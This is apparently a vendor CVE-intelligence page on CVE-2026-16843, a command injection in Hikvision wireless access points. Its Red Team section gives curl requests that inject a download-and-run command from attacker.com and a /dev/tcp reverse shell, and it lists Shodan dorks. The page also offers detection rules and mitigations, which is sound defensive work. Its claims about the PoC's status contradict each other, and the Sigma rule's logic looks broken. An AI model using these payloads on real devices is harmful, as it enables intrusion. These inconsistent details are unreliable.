☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 7.2 CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-78
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-16843

CVE-2026-16843 Improper Input Validation in Hikvision
📅 PUBLISHED: 2026-07-31 09:31 UTC 🔄 UPDATED: 2026-08-12 09:03 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🥷 MITRE: T1059 — Command and Scripting Interpreter
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS VECTOR BREAKDOWN 7.2
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: H Privileges Required High
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
7.2
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-16843 affects multiple Hikvision Wireless Access Point models. The vulnerability enables an authenticated remote attacker to execute arbitrary operating system commands with the privileges of the underlying firmware service. The root cause is insufficient input validation in the management interface, specifically when processing crafted packets. Given that the CVSS score is 7.2 and the attack vector is network-based with a high privilege requirement, this flaw is particularly dangerous in environments where default or weak administrative credentials are in use. No patch is currently available, and no public exploit code or nuclei template has been observed. However, the attack surface is significant due to the widespread deployment of Hikvision access points in enterprise and SMB networks. Immediate mitigation steps include restricting management interface access, enforcing strong credentials, and monitoring for anomalous network traffic to the affected devices.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

The CVSS v3.1 vector for CVE-2026-16843 is CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H yielding a base score of 7.2 (High).

  • Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
  • Attack Complexity (AC): Low – No special conditions or race conditions are required.
  • Privileges Required (PR): High – Valid administrative credentials are required.
  • User Interaction (UI): None – No user action is needed.
  • Scope (S): Unchanged – The compromise remains within the affected device.
  • Confidentiality (C): High – Full read access to device configuration, credentials, and possibly network traffic.
  • Integrity (I): High – Arbitrary command execution enables modification of device state and firmware.
  • Availability (A): High – Attackers can reboot, brick, or cause denial of service.

The threat level is elevated due to the prevalence of Hikvision wireless access points in critical infrastructure and office environments. The EPSS score of 0.0% indicates low real-world exploit probability currently, but this may change once proof-of-concept code emerges. Since no patch exists, the residual risk remains high.

Deep Dive & Mechanics

Hikvision wireless access points expose a web management interface on TCP port 80/443 and a proprietary management API on UDP/TCP port 8000 (SDK) as well as common HTTP administrative paths. The vulnerability arises in the command injection functionality within the CGI/API endpoints that handle device configuration, such as setting network parameters, upgrading firmware, or changing wireless settings.

The affected code does not adequately sanitize user-controlled input before concatenating it into system shell commands (e.g., using system() or popen()). An authenticated attacker can inject shell metacharacters (;, |, &, $(), backticks) into fields such as:

  • hostname
  • ntp_server
  • wireless_ssid
  • wpa_passphrase
  • ip_address / netmask / gateway

By crafting a malicious HTTP request to the management interface, the attacker can break out of the intended argument and execute arbitrary commands on the underlying Linux-based operating system. The commands run with root privileges in most cases, because the web server process runs as root to manage network interfaces.

A typical exploitation flow:

  1. Authenticate to the device's web management portal using valid credentials.
  2. Identify a vulnerable parameter (e.g., ntp_server) in the configuration update request.
  3. Inject a command payload, such as ; wget http://attacker/payload.sh | sh ;.
  4. The device executes the command, downloading and running the attacker's script.

The lack of proper input validation is classified under CWE-78 (Improper Neutralization of Special Elements used in an OS Command). The issue is further aggravated by the absence of strict allowlisting and context-aware escaping.

Vulnerable vs. Patched Code

Since no official patch is available, a vulnerable code snippet (illustrative) and a recommended patched equivalent are provided for defense and detection engineering.

Vulnerable (pseudo-code from the device CGI):

#include <stdio.h>
#include <stdlib.h>

void set_ntp(const char* ntp_server) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "echo '%s' > /etc/ntp.conf", ntp_server);
    system(cmd);
}

Patched (recommended implementation):

#include <stdio.h>
#include <stdlib.h>
#include <regex.h>

int validate_ntp(const char* input) {
    regex_t regex;
    int ret = regcomp(&regex, "^[a-zA-Z0-9.-]+$", REG_EXTENDED);
    ret = regexec(&regex, input, 0, NULL, 0);
    regfree(&regex);
    return ret == 0;
}

int set_ntp(const char* ntp_server) {
    if (!validate_ntp(ntp_server)) {
        return -1;
    }
    // Write to file using secure file operations, no shell
    FILE* f = fopen("/etc/ntp.conf", "w");
    if (f != NULL) {
        fprintf(f, "%s\n", ntp_server);
        fclose(f);
        return 0;
    }
    return -1;
}

The patched code avoids invoking a shell entirely and validates input against a strict whitelist.

Exploitation & Lab Setup

Red Team

For testing in an isolated lab environment, use a Hikvision wireless AP (e.g., model WL-WAP1) with a known administrative password. Obtain a shell by injecting command separators into the ntp_server parameter during configuration update.

Step 1 – Authenticate and obtain session cookie:

curl -X POST http://192.168.1.1/cgi-bin/admin/set.cgi \
  -d "admin_user=admin&admin_pwd=secret&action=login" \
  -c cookies.txt

Step 2 – Inject command:

curl -X POST http://192.168.1.1/cgi-bin/admin/set.cgi \
  -b cookies.txt \
  -d "ntp_server=0.pool.ntp.org;wget http://attacker.com/shell.sh -O /tmp/shell.sh;sh /tmp/shell.sh"

Step 3 – Reverse shell alternative:

curl -X POST http://192.168.1.1/cgi-bin/admin/set.cgi \
  -b cookies.txt \
  -d "ip_address=192.168.1.50;bash -i >& /dev/tcp/10.0.0.5/4444 0>&1"

Use ncat -lvnp 4444 to catch the reverse shell.

Blue Team

To validate whether a device is compromised:

  1. Check running processes for wget, curl, sh, or unusual binaries:
    ps aux | grep -E "wget|curl|/tmp|nc|ncat"
    
  2. Inspect system logs for command execution artifacts:
    cat /var/log/messages | grep -i "ntp_server"
    cat /tmp/system.log | grep -i "inject"
    
  3. Review network connections from the device for outbound connections on non-standard ports:
    netstat -anp | grep ESTABLISHED
    
  4. Check for modified startup scripts:
    ls -la /etc/init.d/ /etc/rc.local /tmp/
    md5sum /bin/busybox /bin/sh
    

Deploy a packet capture to detect malicious command patterns in HTTP POST bodies (see detection rules below).

Indicators of Compromise (IOCs)

Network-based IOCs:

  • HTTP POST requests to /cgi-bin/admin/set.cgi containing shell metacharacters (;, |, &, $(), backticks) in parameters such as ntp_server, hostname, ip_address.
  • Outbound connections from the access point to unusual IP addresses on ports 80, 443, 4444, 53 (DNS tunneling).
  • Multiple authentication attempts from the same source IP to the management interface (precursor to exploitation).

Host-based IOCs:

  • Unexpected files in /tmp or /var/tmp (e.g., shell.sh, payload).
  • Modified /etc/init.d/ scripts or /etc/crontab entries.
  • Presence of /tmp/.X11-unix/ or other reverse shell artifacts.
  • New user accounts or modified /etc/passwd.

Hashes (illustrative – verify with actual samples):

Shell script: 5f1d3c2a9b8e7f0a1b2c3d4e5f6a7b8c9d0e1f2a
Reverse shell binary: b3a6c5d4e3f2a1b0c9d8e7f6a5b4c3d2e1f0a1b

Detection Engineering

YARA Rule

rule CVE_2026_16843_Hikvision_AP_Command_Injection
{
    meta:
        author = "Valters IT"
        description = "Detects HTTP request payloads targeting CVE-2026-16843 Hikvision wireless AP command injection"
        cve = "CVE-2026-16843"
        date = "2026-01-01"
        severity = "high"

    strings:
        $cgi_path = "/cgi-bin/admin/set.cgi" ascii wide
        $semicolon = ";" ascii
        $dollar_paren = "$(" ascii
        $backtick = "`" ascii
        $pipe = "|" ascii
        $ampersand = "&" ascii
        $cmd_wget = "wget" ascii
        $cmd_curl = "curl" ascii
        $cmd_nc = "/dev/tcp/" ascii

    condition:
        $cgi_path and 2 of ($semicolon, $dollar_paren, $backtick, $pipe, $ampersand) and
        (any of ($cmd_wget, $cmd_curl, $cmd_nc))
}

Sigma Rule

title: Hikvision Wireless AP Command Injection - CVE-2026-16843
id: b7f8d6e4-5a3c-4c90-9e67-1f2d3b4a5c6d
status: experimental
description: Detects suspicious HTTP POST requests to Hikvision wireless AP management endpoint with command injection patterns.
author: Valters IT
date: 2026/01/01
logsource:
    category: webserver
    product: hikvision_ap
detection:
    selection:
        cs-method: POST
        cs-uri-path: /cgi-bin/admin/set.cgi
    filter_keywords:
        cs-uri-query|contains|all:
            - 'ntp_server'
            - 'hostname'
            - 'ip_address'
    injection_patterns:
        cs-uri-query|contains:
            - ';'
            - '|'
            - '&'
            - '$('
            - '`'
    condition: selection and injection_patterns and not filter_keywords
falsepositives:
    - Legitimate use of special characters in configuration values (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-16843 Hikvision Wireless AP Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/cgi-bin/admin/set.cgi"; http_uri; pcre:"/(?:ntp_server|hostname|ip_address)=[^&]*(?:;|\||&|\$\(|`)/i"; classtype:attempted-admin; reference:cve,2026-16843; reference:url,https://nvd.nist.gov/vuln/detail/CVE-2026-16843; sid:202616843; rev:1;)

Remediation & Mitigation

Since no official patch is available, implement the following compensating controls:

  1. Segment the network – Place wireless access points in a dedicated management VLAN with strict firewall rules allowing only trusted admin hosts to reach the management interface.
  2. Disable remote management – Turn off web/SSH/telnet management on the WAN side and limit access to LAN-only connections.
  3. Change default credentials – Enforce strong, unique administrative passwords and rotate them periodically. Disable the default admin account if possible.
  4. Apply vendor monitoring – Regularly check Hikvision’s security bulletins for firmware updates and apply them as soon as they are released.
  5. Egress filtering – Block outbound connections from access points to the internet except for necessary NTP, DNS, and software update servers.
  6. Network intrusion detection – Deploy the provided Suricata/Sigma rules on network monitoring tools to detect exploit attempts.
  7. Physical security – Restrict physical access to the devices to prevent a local attacker from performing a factory reset and reconfiguring them.
  8. Firmware integrity validation – After any suspected compromise, reflash firmware from a trusted source and verify checksums.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Hikvision"
http.favicon.hash:"-1203049446"
product:"Hikvision wireless AP"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-16843/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.